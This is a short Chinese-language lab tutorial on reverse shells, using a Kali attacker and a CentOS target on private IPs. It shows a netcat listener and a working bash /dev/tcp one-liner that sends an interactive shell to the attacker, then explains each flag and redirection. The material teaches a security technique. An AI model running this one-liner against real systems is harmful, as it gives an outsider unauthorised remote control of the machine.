反弹Shell
实验环境
攻击机:kali (IP:192.168.40.132)
目标机:CentOS (IP:192.168.40.135)
实验步骤
首先在攻击机监听一个随机端口:
nc -lvp 6767
第二步在目标机输入命令:
bash -i > /dev/tcp/192.168.40.132/6767 0>&1 2>&1
这时候攻击机终端出现交互式bash
在攻击机终端输入命令cat /etc/os-release
可以看到目标机操作系统相关信息
这时候表明我们已经成功执行了反弹Shell,接下来就可以get shell了
解释
-
nc -lvp 6767
nc
是netcat
的缩写,可以实现任意TCP/UDP端口的侦听,nc
可以作为server以TCP或UDP方式侦听指定端口。-l
监听,-v
输出交互或出错信息,-p
端口 。
命令 | 解释 |
---|---|
bash -i | 产生一个交互式shell(bash) |
/dev/tcp/ip/port | 建立TCP连接,特殊设备文件(Linux一切皆文件),实际这个文件是不存在的,它只是 bash 实现的用来实现网络请求的一个接口。打开这个文件就相当于发出了一个socket调用并建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。 |
0>&1 | 将标准输入、标准输出、错误输出全都重定向到攻击端 |